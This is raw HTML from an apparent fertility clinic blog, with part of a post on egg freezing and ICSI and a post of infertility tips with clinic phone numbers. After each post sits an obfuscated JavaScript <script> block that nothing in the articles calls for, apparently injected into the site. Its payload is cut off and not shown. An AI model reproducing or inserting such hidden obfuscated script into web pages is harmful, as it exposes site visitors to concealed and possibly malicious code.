100%;\"><strong>What will happen when you are ready for pregnancy?</strong></h2>\r\nYou will have to undergo initial investigations to confirm that you are fit for pregnancy. The eggs will be warmed and injected with sperm (from your partner/ donor). This process is called <a href=\"https://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><strong>ICSI (Intracytoplasmic Sperm Injection)</strong></a>. The resulting embryos will be grown for up to 5 days in the lab and will be transferred back into your uterus. The pregnancy will be confirmed after 12-14 days of the transfer. You will need to take a few hormones to support the pregnancy for 8-12 weeks. After that, it will be like any other pregnancy.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the cons of the procedure?</strong></h2>\r\nIt is a relatively new procedure with the birth of the first baby from oocyte cryopreservation in 1986.\r\n\r\nThe oocyte has a lesser chance of survival compared to embryos after warming as oocyte is single-celled whereas embryo is multicellular.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the alternatives to oocyte cryopreservation?</strong></h2>\r\nIf the ovarian reserve has diminished to a significant value, oocyte donor may be opted for. Adoption may be another option.\r\n\r\n<strong>To know more about your chances with oocyte cryopreservation, call for appointment <span style=\"color: #3366ff;\">+91 80-42489999</span></strong>\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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get rid of infertility\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2019/06/get-rid-of-infertility.jpg\" alt=\"Tips to get rid of infertility\" width=\"1140\" height=\"589\" />\r\n\r\nInfertility is the inability to get pregnant after 12 months of regular unprotected intercourse. About 50 million couple worldwide experience infertility. The numbers are rising as years pass by due to various factors.\r\n\r\nIt is frustrating when you realize that you need to take help for such a basic human function, reproduction. However, you are definitely not alone. There are thousands of couples who want to get over the phase from childlessness to parenthood as quickly as possible. This path may be easy for some and not so easy for some.\r\n\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\">Here are some tips to get rid of infertility</span></h2>\r\n<h2 style=\"font-size: 16px;\"><strong style=\"font-size: 14px;\">1. Adopt a healthy lifestyle</strong></h2>\r\nAll the choices you make in life have a bearing on your health. Maintain appropriate weight, follow a healthy diet and exercise at least 5 times a week. Avoid smoking, drinking alcohol and limit caffeine intake to no more than 2 cups a day. Stress also contributes to infertility and miscarriages. Everybody has different stressors in life, it is important to find ways of dealing with it.\r\n\r\n<strong>2. Understand the basic functioning of the reproductive system</strong>\r\n\r\nThe egg needs to be fertilized by a sperm to form an embryo and result in a pregnancy. The release of the egg from the ovary is called ovulation. This happens on day 13-15 of the cycle in women with a regular 28-day cycle. It is important to have intercourse around the time of <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/ovulation-induction\" target=\"_blank\" rel=\"noopener\"><strong>ovulation</strong></a></span>. There are several ways to know when you are ovulating. You can use Urinary LH kits from day 12 of your cycle to detect the day of ovulation. Your fertility specialist can help you find out the most probable day of ovulation by the scan.\r\n\r\n<strong>3. Visit a fertility specialist before it is too late</strong>\r\n\r\nA fertility specialist is a doctor with special training in treating infertile couple. Not all Obstetrician &amp; Gynaecologist have this training. It could be a fellowship or a Masters degree in Reproductive Medicine. If you have had 1 year of regular unprotected intercourse and not able to conceive, it is time to visit your <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"http://www.nufertility.com/dr-ashwini-ivf-specialist\" target=\"_blank\" rel=\"noopener\"><strong>fertility specialist</strong></a>.</span>\r\n\r\n<strong>4. Find the reason for infertility</strong>\r\n\r\nAbout 30% of infertility is due to the female factor, 30% due to male factor, 30% due to a combination of male and female factors and 10% remain unexplained. So it is very important for the male and female partner to get evaluated simultaneously for infertility. Do not be afraid to get yourself evaluated. There is a solution to every problem, once the cause of the problem is identified.\r\n\r\n<strong>5. Personalized fertility treatment</strong>\r\n\r\nThere are several treatment options available for subfertility. The most commonly offered fertility treatments include:\r\n\r\na.<strong> Ovulation Induction</strong> is medications used to induce ovulation\r\n\r\nb. <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><strong>Intrauterine Insemination</strong></a></span> is the injection of processed sperms directly into the uterine cavity at the time of ovulation\r\n\r\nc. <strong>IVF/ test tube</strong> baby where embryos are created in the lab from your egg and sperm and injected into the uterine cavity\r\n\r\nIt is not “one size fits all”. Everyone is unique. The treatment you may require is decided after thoroughly evaluating you and your partner and personalized treatment is offered.\r\n<h4 style=\"font-size: 14px; width: 100%;\"><strong>To fix an appointment with our fertility specialist call <span style=\"color: #0000ff;\">+91 80-42489999</span></strong></h4>\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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